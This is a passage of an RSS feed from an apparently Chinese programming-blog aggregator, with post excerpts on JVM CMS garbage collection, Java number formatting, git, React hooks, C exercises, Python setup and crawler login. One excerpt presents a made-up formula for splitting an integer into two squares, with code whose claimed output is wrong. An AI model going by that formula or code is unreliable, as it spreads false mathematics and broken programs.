Roots对象时，只需要关心其直接引用的老年代对象还没有被标记过的对象（及其子对象），而无须关心已经被标记的直接引用对象：因为已经被标记过的对象如果其对应的card不为dirty，则无须扫描；而已经被标记为dirty card的对象自然会被扫描。因而预清理确实可以缩短重新标记的停顿时长。&#xA;6、并发清除：用户线程被重新激活，同时清除那些未被标记为存活的对象。由于CMS并发清理阶段用户线程还在运行着，伴随程序运行自然又会有新的垃圾不断产生，这一部分垃圾出现在标记过程之后，CMS无法在当次收集中处理掉它们，只好留待下一次GC时再清理掉。这一部分垃圾也称为“浮动垃圾”。&#xA;到此可知，虚拟机还需要存储一些特殊的信息，以区分出在标记周期以外新产生的对象（未标记）和在标记周期内产生的没有被标记的垃圾对象。&#xA;7、并发重置：CMS内部重置回收器状态，准备进入下一个并发回收周期。&#xA;小结：CMS的核心思路是，先用一次stw标记新生代和GC Roots直接引用的老年代对象，因而停顿时间通常很短；对于间接引用的对象，则通过并发标记来完成，以减少GC对业务的影响；由于并发标记会导致初始标记的直接引用对象发生变化，因而需要预清理来处理并发标记引起的并发问题；而由于预清理也是并发的，因而最终还需要第二次stw来重新标记并发标记和预处理标记期间的并发问题；而为了缩短第二次stw标记的停顿时间，又增加了可中断的预清理阶段，并期待在该阶段发生一次Minor GC，从而极大地减少了第二次stw标记需要扫描的年轻代的对象。&#xA;CMS的异常情况 上面描述的是CMS的并发周期正常完成的情况，但是还有几种CMS并发周期失败的情况（会触发FullGC）：&#xA;并发模式失败（Concurrent mode failure）：CMS的目标就是在回收老年代对象的时候不要停止全部应用线程，在并发周期执行期间，用户的线程依然在运行，如果这时候如果应用线程向老年代请求分配的空间超过预留的空间（担保失败），就回触发concurrent mode failure，然后CMS的并发周期就会被一次Full GC代替——停止全部应用，使用Serial-Old收集老年代，并进行空间压缩。如果我们设置了UseCMSInitiatingOccupancyOnly和CMSInitiatingOccupancyFraction参数，其中CMSInitiatingOccupancyFraction的值是70，那预留空间就是老年代的30%。晋升失败：新生代做minor gc的时候，需要CMS的担保机制确认老年代是否有足够的空间容纳要晋升的对象，担保机制发现不够，则报concurrent mode failure，如果担保机制判断是够的，但是实际上由于碎片问题导致无法分配，就会报晋升失败，从而执行Full GC。永久代空间（或Java8的元空间达到MaxMetaspaceSize）耗尽，默认情况下，CMS不会对永久代进行收集，一旦永久代空间耗尽，也会触发Full GC。 CMS的调优 针对停顿时间过长的调优</description>
    </item>
    <item>
      <title>BigDecimal四舍五入保留两位小数</title>
      <link>https://bchobby.github.io/posts/c890bfa16fc32148b054612f2f98a8df/</link>
      <pubDate>Fri, 06 Jan 2023 15:53:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c890bfa16fc32148b054612f2f98a8df/</guid>
      <description>import java.math.BigDecimal; import java.text.DecimalFormat; import java.text.NumberFormat; public class NumberFormatDemo { public static void main(String[] args) { // BigDecimal // 保留两位小数 System.out.println(new BigDecimal(0.2).setScale(2, BigDecimal.ROUND_HALF_UP).doubleValue());// 0.2 System.out.println(new BigDecimal(0.235).setScale(2, BigDecimal.ROUND_HALF_UP).doubleValue());// 0.23 System.out.println(new BigDecimal(0.2351).setScale(2, BigDecimal.ROUND_HALF_UP).doubleValue());// 0.24 System.out.println(new BigDecimal(42).setScale(2, BigDecimal.ROUND_HALF_UP).doubleValue());// 42.0 // NumberFormat // 保留两位小数，个位无数字填充0 NumberFormat nformat = NumberFormat.getNumberInstance(); nformat.setMaximumFractionDigits(2); System.out.println(nformat.format(0.2));// 0.2 System.out.println(nformat.format(0.235));// 0.23 System.out.println(nformat.format(0.2351));// 0.24 System.out.println(nformat.format(42));// 42 // DecimalFormat，是NumberFormat的具体实现子类 // 保留两位小数，对应位上无数字填充0 DecimalFormat df = new DecimalFormat(&#34;#0.00&#34;); System.out.println(df.format(0.2));// 0.20 System.out.println(df.format(0.235));// 0.23 System.out.println(df.format(0.2351));// 0.2, 因为0.2351在0.23-0.24之间，距离0.24更近，所以输出0.24 System.</description>
    </item>
    <item>
      <title>Antd Select多选时，限制最大选择数</title>
      <link>https://bchobby.github.io/posts/e381266fe001c50dab1876e9d3650482/</link>
      <pubDate>Fri, 06 Jan 2023 14:25:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e381266fe001c50dab1876e9d3650482/</guid>
      <description> 选择框的静态样式如下，其中我们可以在onChang拿到目前已选择的选项值，其是一个数组，然后我们在里面对其的长度进行判断。这里的 mode=&#34;multiple&#34;是可以进行多选的意思。&#xA;&amp;lt;Select mode=&#34;multiple&#34; onChange={this.handleChange} placeholder=&#34;请选择&#34; &amp;gt; {tagsList?.map(item =&amp;gt; { return ( &amp;lt;Select.Option key={item.id} value={item.id}&amp;gt; {item.name} &amp;lt;/Select.Option&amp;gt; ); })} &amp;lt;/Select&amp;gt; 比如我们想要限制最多选择三个。我们就可以按照下面的方式写&#xA;handleChange(value) { if (value.length &amp;gt; 3) { value.pop(); } } </description>
    </item>
    <item>
      <title>Qt进度条详解以及format显示格式</title>
      <link>https://bchobby.github.io/posts/2e360d69ca06c86c0d67f90360dc8819/</link>
      <pubDate>Fri, 06 Jan 2023 13:55:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2e360d69ca06c86c0d67f90360dc8819/</guid>
      <description> 进度条的步进值&#xA;设置好进度条的最大值和最小值，进度条将会显示完成的步进值占总的步进值的百分比，百分比的计算公式为：百分比 = (value() - minimum()) / (maximum() - minimum())&#xA;部分函数含义&#xA;QProgressBar：横向或纵向显示进度的进度控件&#xA;setRange()：设置进度条的变化范围&#xA;setValue()：模拟处理过程，当处理完指定部分之后，步进值增加设置的值&#xA;setFormat()：设置进度条显示文字的格式，%p%显示完成的百分比，是默认显示方式，%v显示当前的进度值，%m显示总的进度值&#xA;setInvertedAppearance()：设置进度条反方向显示进度，默认为正方向显示进度&#xA;这些内容也可以到ui下设置&#xA;QProgressDialog：针对慢速过程的进度对话框，包括进度显示条，一个&#34;取消(Cancel)&#34;按钮和一个标签&#xA;setWindowModality()：设置进度对话框的使用方式，包括模态和非模态。若为模态，则在显示进度条的同时，其他窗口不响应输入信号，且必须使用QApplication::processEvents()使事件循环保持正常进行状态，以确保应用不会阻塞；若为非模态，则需要通过QTime实现定时设置进度条的值&#xA;setMinimumDuration()：设置进度条对话框出现前的等待时间，默认为4秒。系统根据所需完成的工作量估算一个预计花费的时间，若大于设定的等待时间(minimumDuration)，则出现进度条对话框，若小于设定的等待时间，则不出现进度条对话框&#xA;setWindowTitle()：设置进度对话框的窗体标题&#xA;setLabelText()：设置进度对话框的显示文字信息&#xA;setCancelButtonText()：设置进度对话框的&#34;取消&#34;按钮显示文字&#xA;setValue()：同QProgressBar&#xA;wasCanceled()：检测“取消”按钮是否被触发&#xA;进度条美观设置，效果可以看一下，也可以做调整。&#xA;QProgressBar { border: 2px solid grey; border-radius: 5px; background-color: #FFFFFF;} QProgressBar::chunk { background:rgb(217, 217, 217); width: 20px;} QProgressBar { border: 2px solid grey; border-radius: 5px; text-align: center;} </description>
    </item>
    <item>
      <title>VM Option的常用设置</title>
      <link>https://bchobby.github.io/posts/811bba466aa94b6b5c5c0e32d05610e1/</link>
      <pubDate>Fri, 06 Jan 2023 12:40:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/811bba466aa94b6b5c5c0e32d05610e1/</guid>
      <description>设置步骤&#xA;1.&#xA;2.&#xA;3.</description>
    </item>
    <item>
      <title>如何将 Git 托管项目中的所有本地更改恢复到以前的状态？</title>
      <link>https://bchobby.github.io/posts/80801a831e47697a764e96c91775cf26/</link>
      <pubDate>Fri, 06 Jan 2023 10:54:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/80801a831e47697a764e96c91775cf26/</guid>
      <description>问： 我运行了 git status，它告诉我一切都是最新的，并且没有本地更改。&#xA;然后我连续做了几次改变，意识到我想把所有的东西都扔掉，回到我原来的状态。这个命令会为我做吗？&#xA;git reset --hard HEAD 答1: huntsbot.com – 高效赚钱，自由工作&#xA;要恢复对工作副本所做的更改，请执行以下操作：&#xA;git checkout . 或者等效地，对于 git version &amp;gt;= 2.23：&#xA;git restore . 要恢复对索引所做的更改（即您添加的），请执行此操作。警告这会将所有未推送的提交重置为 master！：&#xA;git reset 要恢复您已提交的更改：&#xA;git revert 要删除未跟踪的文件（例如，新文件、生成的文件）：&#xA;git clean -f 或未跟踪的目录（例如，新的或自动生成的目录）：&#xA;git clean -fd fwiw 这么长时间后，git checkout path/to/file 只会将本地更改还原为 path/to/file&#xA;+1 在下面的答案中还提到 git clean -f （删除未跟踪的更改）和 -fd （也删除未跟踪的目录）&#xA;git checkout . 和 git reset [--hard HEAD] 不起作用，我必须执行 git clean -fd 才能恢复我的更改。&#xA;git reset 不会重置您的更改，git reset --hard 会这样做。</description>
    </item>
    <item>
      <title>React源码分析(三)：useState，useReducer</title>
      <link>https://bchobby.github.io/posts/d921a32b62cf1e68d0f0c8b67b29ac58/</link>
      <pubDate>Fri, 06 Jan 2023 07:34:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d921a32b62cf1e68d0f0c8b67b29ac58/</guid>
      <description>热身准备 在正式讲useState，我们先热热身，了解下必备知识。&#xA;为什么会有hooks 大家都知道hooks是在函数组件的产物。之前class组件为什么没有出现hooks这种东西呢？&#xA;答案很简单，不需要。&#xA;因为在class组件中，在运行时，只会生成一个实例，而在这个实例中会保存组件的state等信息。在后续的更新操作中，也只是调用其中的render方法，实例中的信息不会丢失。而在函数组件中，每次渲染，更新都会去执行这个函数组件，所以在函数组件中是没办法保存state等信息的。为了保存state等信息，于是有了hooks，用来记录函数组件的状态，执行副作用。&#xA;hooks执行时机 上面提到，在函数组件中，每次渲染，更新都会去执行这个函数组件。所以我们在函数组件内部声明的hooks也会在每次执行函数组件时执行。&#xA;在这个时候，可能有的同学听了我上面的说法（hooks用来记录函数组件的状态，执行副作用），又有疑惑了，既然每次函数组件执行都会执行hooks方法，那hooks是怎么记录函数组件的状态的呢？&#xA;答案是，记录在函数组件对应的fiber节点中。&#xA;两套hooks 在我们刚开始学习使用hooks时，可能会有疑惑， 为什么hooks要在函数组件的顶部声明，而不能在条件语句或内部函数中声明？&#xA;答案是，React维护了两套hooks，一套用来在项目初始化mount时，初始化hooks。而在后续的更新操作中会基于初始化的hooks执行更新操作。如果我们在条件语句或函数中声明hooks，有可能在项目初始化时不会声明，这样就会导致在后面的更新操作中出问题。&#xA;hooks存储 提前讲一下hooks存储方式，避免看晕了~~~&#xA;每个初始化的hook都会创建一个hook结构，多个hook是通过声明顺序用链表的结构相关联，最终这个链表会存放在fiber.memoizedState中：&#xA;var hook = { memoizedState: null, // 存储hook操作，不要和fiber.memoizedState搞混了 baseState: null, baseQueue: null, queue: null, // 存储该hook本次更新阶段的所有更新操作 next: null // 链接下一个hook }; 而在每个hook.queue中存放的么个update也是一个链表结构存储的，千万不要和hook的链表搞混了。&#xA;接下来，让我们带着下面几个问题看文章：&#xA;为什么setState后不能马上拿到最新的state的值？多个setState是如何合并的？setState到底是同步还是异步的？为什么setState的值相同时，函数组件不更新？ 假如我们有下面这样一段代码：&#xA;function App(){ const [count, setCount] = useState(0) const handleClick = () =&amp;gt; { setCount(count =&amp;gt; count + 1) } return ( &amp;lt;div&amp;gt; 勇敢牛牛, &amp;lt;span&amp;gt;不怕困难&amp;lt;/span&amp;gt; &amp;lt;span onClick={handleClick}&amp;gt;{count}&amp;lt;/span&amp;gt; &amp;lt;/div&amp;gt; ) } 初始化 mount useState 我们先来看下useState()函数：</description>
    </item>
    <item>
      <title>【C语言】从键盘输入一个十进制整数，将其转换为二进制字符串，输出字符串。</title>
      <link>https://bchobby.github.io/posts/7bde351be5254efb1021aa1b2cfcb367/</link>
      <pubDate>Thu, 05 Jan 2023 19:59:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7bde351be5254efb1021aa1b2cfcb367/</guid>
      <description>#include &amp;lt;stdio.h&amp;gt; #include&amp;lt;string.h&amp;gt; #include&amp;lt;math.h&amp;gt; #define N 81 int main() { int i=0,j; int sum=0; char s[N]; char temp1; int x,temp; int count=0; scanf(&#34;%d&#34;,&amp;amp;x); do{ temp=x%2; s[i]=temp+&#39;0&#39;; i++; x=x/2; count++; }while(x!=0); for(i=0,j=count;i&amp;lt;j;i++,j--) { temp1=s[i]; s[i]=s[j]; s[j]=temp1; } for(i=0;i&amp;lt;=count;i++) { printf(&#34;%c&#34;,s[i]); } return 0; } 【问题描述】：&#xA;从键盘输入一个十进制整数，将其转换为二进制字符串，输出字符串。&#xA;【提示】：&#xA;（1）定义字符数组s，定义整型变量x；&#xA;（2）用2去除x,每除1次得到余数（余数是0或者1），将余数转换为数字字符，保存到数组s中 。直到商为0。&#xA;（3）将数组s中的字符串逆序存储。&#xA;（4）输出字符串&#xA;【样例输入与输出】：&#xA;如：输入十进制整数： 13&#xA;输出字符串： 1101&#xA;如：输入十进制整数： 50&#xA;输出字符串： 110010&#xA;【小知识点】：&#xA;①int类型转换为char&#xA;直接在int变量后加上一个’0’； 例如： int a = 10; printf(“%c\n”,a+’0’)</description>
    </item>
    <item>
      <title>【C语言】计算奇数排的和并用拼音输出</title>
      <link>https://bchobby.github.io/posts/36b94f78808dda3d96001f92d5c73e39/</link>
      <pubDate>Thu, 05 Jan 2023 19:54:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/36b94f78808dda3d96001f92d5c73e39/</guid>
      <description>#include &amp;lt;stdio.h&amp;gt; #include&amp;lt;string.h&amp;gt; #define N 10 int main() { int a[N][N],b[N],c[N]; int i,j,k; int m,n; int sum,temp,temp1,count,mask; scanf(&#34;%d %d&#34;,&amp;amp;m,&amp;amp;n); for(i=0;i&amp;lt;m;i++) { for(j=0;j&amp;lt;n;j++) { scanf(&#34;%d&#34;,&amp;amp;a[i][j]); } } for(i=0;i&amp;lt;m;i++) { sum=0; for(j=0;j&amp;lt;n;j++) { if(i==0||i%2==0) { sum+=a[i][j]; } else { break; } } b[i]=sum; } /*for(i=0;i&amp;lt;m;i++) { printf(&#34;%d\n&#34;,b[i]); } printf(&#34;\n&#34;);*/ //检验b[i]的各项值 for(i=0;i&amp;lt;m;i++) { if(b[i]==0) { for(j=i;j&amp;lt;m;j++) { temp=b[j]; b[j]=b[j+1]; b[j+1]=temp; } m--; } } //printf(&#34;%d\n&#34;,m); /*for(i=0;i&amp;lt;m;i++) { printf(&#34;%d\n&#34;,b[i]); } printf(&#34;\n&#34;);*/ //检验b[i]的各项值 for(i=0;i&amp;lt;m;i++) { mask=0; temp=b[i]; while(temp&amp;gt;0) { temp=temp/10; mask++; }//计算位数 temp1=b[i]; for(j=0;j&amp;lt;mask;j++) { c[j]=temp1%10; temp1=temp1/10; }//将每个数字储存在数组，方便输出； printf(&#34;</description>
    </item>
    <item>
      <title>【C语言】删除指定字符并计算出现次数并重新排序</title>
      <link>https://bchobby.github.io/posts/d9028d740760db10c96b0cbe0034911a/</link>
      <pubDate>Thu, 05 Jan 2023 19:17:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d9028d740760db10c96b0cbe0034911a/</guid>
      <description>#include &amp;lt;stdio.h&amp;gt; #include&amp;lt;string.h&amp;gt; #define N 20 int main() { char a[N],b[N]; char temp; int i,j; int count=0; gets(a); for(i=0;a[i]!=&#39;\0&#39;;i++) { if(a[i]==&#39;c&#39;) { count++; for(j=i;j&amp;lt;strlen(a)-1;j++) { a[j]=a[j+1]; } i--; a[j]=&#39;\0&#39;; } } if(count!=0) { printf(&#34;count:%d\n&#34;,count); } else if(count==0) { printf(&#34;No c\n&#34;); } for(i=0;a[i]!=&#39;\0&#39;;i++) { b[i]=a[i]; } b[i]=&#39;\0&#39;; printf(&#34;b:&#34;); puts(b); for(i=1;b[i]!=&#39;\0&#39;;i++) { for(j=0;j&amp;lt;strlen(b)-i;j++) { if(b[j]&amp;gt;b[j+1]) { temp=b[j]; b[j]=b[j+1]; b[j+1]=temp; } } } printf(&#34;b sorted:&#34;); puts(b); return 0; } 程序功能：按示例格式完成以下要求：&#xA;（1）输入一行字符（不超过20个），存入一维字符数组a中；&#xA;（2）输出小写字母&#39;c&#39;出现的次数，若数组中没有&#39;c&#39;，也要报告&#34;No c&#34;</description>
    </item>
    <item>
      <title>idea 配置python环境</title>
      <link>https://bchobby.github.io/posts/ca4fa41253a57a30cc50afe33811ff49/</link>
      <pubDate>Thu, 05 Jan 2023 17:03:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca4fa41253a57a30cc50afe33811ff49/</guid>
      <description>在 IDEA 中配置 Python 环境需要以下步骤：&#xA;安装 Python 环境。如果你没有安装 Python，那么需要先安装 Python 解释器。你可以前往 Python 官网下载最新版本的 Python。&#xA;在 IDEA 中安装 Python 插件。在 IDEA 中，打开“File”菜单，然后选择“Settings”，在打开的窗口中，在左侧的菜单中找到“Plugins”，然后在右侧的窗口中点击“Install Jetbrains Plugin”按钮，在弹出的窗口中搜索“Python”并安装。&#xA;在 IDEA 中创建 Python 项目。在 IDEA 中，打开“File”菜单，然后选择“New”，在弹出的窗口中选择“Project”，然后在下一个窗口中选择“Python”作为项目类型，然后点击“Next”按钮。在下一个窗口中设置 Python 项目的基本信息，如项目名称、位置等，然后点击“Create”按钮。&#xA;配置 Python 解释器。在 IDEA 中，打开“File”菜单，然后选择“Settings”，在打开的窗口中，在左侧的菜单中找到“Project: 项目名称”，然后在右侧的窗口中找到“Project Interpreter”，点击右侧的窗口中的“+”按钮，在弹出的窗口中选择已安装的 Python 解释器，然</description>
    </item>
    <item>
      <title>爬虫遇到需要登录的网站怎么解决</title>
      <link>https://bchobby.github.io/posts/b2ef18a2af27d564b1dafcb996095c7c/</link>
      <pubDate>Thu, 05 Jan 2023 16:34:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b2ef18a2af27d564b1dafcb996095c7c/</guid>
      <description>在日常爬虫工作中我们会遇到这样需要先进行登录才能获取数据的网站，那在遇到这样的情况时我们需要怎么处理呢？今天我们就来简单的分享学习下爬虫对需要登录情况下得处理方式。&#xA;通常情况下，用户通过浏览器登录网站时，在特定的登录界面，输入个人登录信息，提交之后便能返回一个包含数据的网页。在浏览器层面的机制是，浏览器提交包含必要信息的http Request，服务器返回http Response。在运行爬虫过程中我们可以通过2种方式进行登录。&#xA;1、使用表单登陆&#xA;这种情况属于post请求，即先向服务器发送表单数据，服务器再将返回的cookie存入本地。&#xA;import requests data = {&#39;data1&#39;:&#39;XXXXX&#39;, &#39;data2&#39;:&#39;XXXXX&#39;} response = requests.post(url=url, data=data) 2、使用cookie进行登录&#xA;使用cookie登陆，服务器会认为你是一个已登陆的用户，所以就会返回给你一个已登陆的内容。因此，需要验证码的情况可以使用带验证码登陆的cookie解决。&#xA;Plain Text&#xA;复制代码&#xA;#! -*- encoding:utf-8 -*- import requests import random import requests.adapters # 要访问的目标页面 targetUrlList = [ &#34;https://httpbin.org/ip&#34;, &#34;https://httpbin.org/headers&#34;, &#34;https://httpbin.org/user-agent&#34;, ] # 代理服务器(产品官网 www.16yun.cn) proxyHost = &#34;t.16yun.cn&#34; proxyPort = &#34;31111&#34; # 代理隧道验证信息 proxyUser = &#34;username&#34; proxyPass = &#34;password&#34; proxyMeta = &#34;http://%(user)s:%(pass)s@%(host)s:%(port)s&#34; % { &#34;host&#34;: proxyHost, &#34;port&#34;: proxyPort, &#34;user&#34;: proxyUser, &#34;pass&#34;: proxyPass, } # 设置 http和https访问都是用HTTP代理 proxies = { &#34;</description>
    </item>
    <item>
      <title>python 如何统计一个图片中不规则图形个数</title>
      <link>https://bchobby.github.io/posts/e1577fc5a865af94b6b4bb4a511ad0ae/</link>
      <pubDate>Thu, 05 Jan 2023 15:55:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1577fc5a865af94b6b4bb4a511ad0ae/</guid>
      <description> 首先，您需要将图片转化为二进制格式，然后使用 Python 的图像处理库进行处理。&#xA;有许多方法可以统计图像中的不规则图形的个数，这里介绍两种常用的方法。&#xA;使用轮廓： 使用 OpenCV 的 findContours() 函数可以找到图像中的轮廓。在找到轮廓后，您可以使用 len() 函数来统计轮廓的数量。&#xA;使用图像分割： 使用图像分割技术，您可以将图像分割成若干个不规则图形。然后，您可以使用 len() 函数来统计这些不规则图形的数量。&#xA;示例代码：&#xA;import cv2 import numpy as np # 读入图像 img = </description>
    </item>
    <item>
      <title>angular 判断路由是否存在，不存在跳到404，存在就跳到相应路由</title>
      <link>https://bchobby.github.io/posts/5e607ef941e2c7bbefedebcab878517c/</link>
      <pubDate>Thu, 05 Jan 2023 15:42:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5e607ef941e2c7bbefedebcab878517c/</guid>
      <description> 你可以使用 Angular 的 Router 类的 navigate 方法来跳转到另一个路由。你可以使用 Router 类的 url 方法来获取当前路由的 URL。你可以在你的路由配置中设置一个通配符路由，用来匹配所有无法匹配到其它路由的 URL。然后你就可以在通配符路由的组件中处理 404 错误。&#xA;示例代码：&#xA;import { Router } from &#39;@angular/router&#39;; @Component({ // 省略其它代码 }) export class MyComponent { constructor(private router: Router) { </description>
    </item>
    <item>
      <title>python：Anaconda安装及配置</title>
      <link>https://bchobby.github.io/posts/17c0fbb27afb09d208280b535ffb0e29/</link>
      <pubDate>Thu, 05 Jan 2023 14:19:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/17c0fbb27afb09d208280b535ffb0e29/</guid>
      <description>为啥需要Anaconda 首先我们需要从python本身说起, 从根源寻找问题,&#xA;我们在使用python语言编写程序之前需要下载一个python解释器, 这才是python的本体 没了python解释器, python脚本也没办法运行, 那这个解释器在哪呢.就在你安装python的地方,比如C:\Users\Acring\AppData\Local\Programs\Python\Python36-32&#xA;目录下的python.exe, 就是Python解释器解释器根据python的版本大概分为2和3. python2和3之间无法互相兼容, 也就是说用python2语法写出来的脚本不一定能在python3的解释器中运行. 除此之外还有个很重要的东西, Lib, 也就是python包文件, 包括自带的包和第三方包（而所有的第三方包都放在site-packages文件夹里面） 包集合中包含了自带的包和第三方包, 第三方包我们一般通过pip或者easy_install来下载, 当一个python环境中不包含这个包, 那么引用了这个包的程序不能在该python环境中运行. 即一个python环境中需要有一个解释器, 和一个包集合.&#xA;python环境解释完了, 那么接下来就要说明这样的环境究竟产生哪些问题, 因为anaconda正式为了解决这些问题而诞生的&#xA;到底该装 Python2 呢还是 Python3： python2和python3在语法上是不兼容的, 那我的机器上应该装python2还是python3呢, 可能一开始选一个学习就好了, 但是如果你要开发的程序必须使用python2而不能使用python3,那这时候你就不得不再下载一个python2, 那这时候环境变量该设谁的目录呢, 如果还是切换环境变量岂不是很麻烦.包管理： 如果我在本地只有一个python环境那我所有程序用到的各种包都只能放到同一个环境中, 导致环境混乱, 另外当我将写好的程序放到另一电脑上运行时又会遇到缺少相关包, 需要自己手动一个个下载的情况, 实在是烦人, 要是能每个程序开发都选用不同的环境, 而开发好之后又能将该程序需要的环境(第三方包)都独立打包出来就好了. 是什么 Anaconda是一个用于科学计算的 Python 发行版，支持 Linux, Mac, Windows系统，提供了包管理与环境管理的功能，可以很方便地解决多版本 python 并存、切换以及各种第三方包安装问题。&#xA;Anaconda具有如下特点：&#xA;▪ 开源&#xA;▪ 安装过程简单&#xA;▪ 高性能使用Python和R语言&#xA;▪ 免费的社区支持&#xA;其特点的实现主要基于Anaconda拥有的：&#xA;▪ conda包&#xA;▪ 环境管理器&#xA;▪ 1,000+开源库&#xA;如果日常工作或学习并不必要使用1,000多个库，那么可以考虑安装Miniconda&#xA;要不要卸载旧的python: 一般情况下,除非官方消息明确允许,否则永远不要删除&#34;</description>
    </item>
    <item>
      <title>你知道bdsm吗</title>
      <link>https://bchobby.github.io/posts/32c32e51ef3d6214b6343bd6b2710bf7/</link>
      <pubDate>Thu, 05 Jan 2023 12:25:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/32c32e51ef3d6214b6343bd6b2710bf7/</guid>
      <description>是的，我知道 BDSM。BDSM 是一种性癖好，通常指一组相关的性癖好，包括：较强的角色扮演，较轻的或较重的身体触摸，以及在性活动中的安全词。BDSM 也可以包括授权和自我控制，以及建立信任和良好的沟通。BDSM 可能涉及各种形式的挑逗，包括鞭打，绑缚，以及假想游戏。</description>
    </item>
    <item>
      <title>如何使用非暴力破解方法将一个整数可以拆成两个整数的平方和，给出python代码...</title>
      <link>https://bchobby.github.io/posts/53b28fbf494682d15739de5ef11592db/</link>
      <pubDate>Thu, 05 Jan 2023 11:56:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/53b28fbf494682d15739de5ef11592db/</guid>
      <description>首先，您可以使用数学方法将一个整数表示为两个整数的平方和。例如，将整数n表示为两个整数的平方和的公式为：&#xA;n = a^2 + b^2&#xA;您可以使用高斯求和公式来求解这个方程，即：&#xA;a = sqrt((n/2) + sqrt(n)) b = sqrt((n/2) - sqrt(n))&#xA;当然，您也可以使用暴力破解的方法，即对于给定的n，枚举a和b的所有可能值，直到找到满足条件的a和b为止。这种方法的时间复杂度为O(n^2)。&#xA;以下是使用高斯求和公式求解的python代码：&#xA;importmath def solve(n): a = int(math.sqrt((n/2) + math.sqrt(n))) b = int(math.sqrt((n/2) - math.sqrt(n))) return (a, b) print(solve(5)) # 输出(2, 1) 希望这些信息对您有所帮助！</description>
    </item>
    <item>
      <title>RuntimeError: DataLoader worker (pid(s) 2571167) exited unexpectedly</title>
      <link>https://bchobby.github.io/posts/a2546dd0b47a533b576434471b2f2fb6/</link>
      <pubDate>Thu, 05 Jan 2023 11:49:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a2546dd0b47a533b576434471b2f2fb6/</guid>
      <description>参考：https://blog.csdn.net/BBJG_001/article/details/104354990&#xA;网上解决方案大概是这两种，但是num_worker变成0训练效率降低很多&#xA;主要原因我猜想是在dataloader里使用了opencv占用内存较大&#xA;原来的opencv是安装python的时候自己安装好的，尝试升级opencv 3.X → 4.X&#xA;pip install opencv-python 成功解决</description>
    </item>
    <item>
      <title>怎么include指定特定文件夹下的头文件</title>
      <link>https://bchobby.github.io/posts/c518d7d94444c127f04716ea67a28528/</link>
      <pubDate>Thu, 05 Jan 2023 11:00:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c518d7d94444c127f04716ea67a28528/</guid>
      <description> 在 C/C++ 程序中，可以使用 #include 指令来包含指定文件夹下的头文件。&#xA;通常有两种方法可以指定文件夹：&#xA;使用完整路径，如： #include &#34;C:/MyProject/include/header.h&#34; 在编译时指定头文件所在的文件夹。在编译时使用 -I 选项指定头文件目录，如： gcc -I C:/MyProject/include main.c 然后在程序中就可以使用下面的语句包含指定文件夹中的头文件：&#xA;#include &#34;header.h&#34; </description>
    </item>
    <item>
      <title>verilog学习笔记- 6)verilog基础知识</title>
      <link>https://bchobby.github.io/posts/7f562ddb52ce9585dc35237c7802602a/</link>
      <pubDate>Thu, 05 Jan 2023 10:58:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7f562ddb52ce9585dc35237c7802602a/</guid>
      <description>目录&#xA;Verilog 的逻辑值:&#xA;Verilog 的标识符（类似C中的变量名）:&#xA;1) 定义:&#xA;2) 规范建议:&#xA;Verilog 的数字进制格式:&#xA;Verilog 的数据类型:&#xA;1) 寄存器类型：&#xA;2) 线网类型：&#xA;3) 参数类型：&#xA;Verilog 的运算符：&#xA;1) 算术运算符:&#xA;2) 关系运算符:&#xA;3) 逻辑运算符:&#xA;4) 条件运算符:&#xA;5) 位运算符:&#xA;6) 移位运算符：&#xA;7) 拼接运算符：&#xA;8) 运算符的优先级：&#xA;Verilog 的逻辑值: 逻辑 0：表示低电平，也就是对应我们电路的 GND；&#xA;逻辑 1：表示高电平，也就是对应我们电路的 VCC；&#xA;逻辑 X：表示未知，有可能是高电平，也有可能是低电平；&#xA;逻辑 Z：表示高阻态，外部没有激励信号是一个悬空状态。&#xA;Verilog 的标识符（类似C中的变量名）: 1) 定义: 标识符(identifier）用于定义模块名、端口名和信号名等。Verilog 的标识符可以是任意一组字母、数字、 $和_(下划线)符号的组合，但标识符的第一个字符必须是字母或者下划线。另外，标识符是区分大小写的。 以下是标识符的几个例子：&#xA;Count&#xA;COUNT //与 Count 不同。&#xA;R56_68&#xA;FIVE$&#xA;不建议大小写混合使用，普通内部信号建议全部小写，参数定义建议大写，另外信号命名最好体现信 号的含义。&#xA;2) 规范建议: 1、用有意义的有效的名字如 sum、cpu_addr 等。</description>
    </item>
    <item>
      <title>【亲测可用】VsCode配置C语言环境</title>
      <link>https://bchobby.github.io/posts/3861d16803358b63ced39a404638d645/</link>
      <pubDate>Wed, 04 Jan 2023 21:14:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3861d16803358b63ced39a404638d645/</guid>
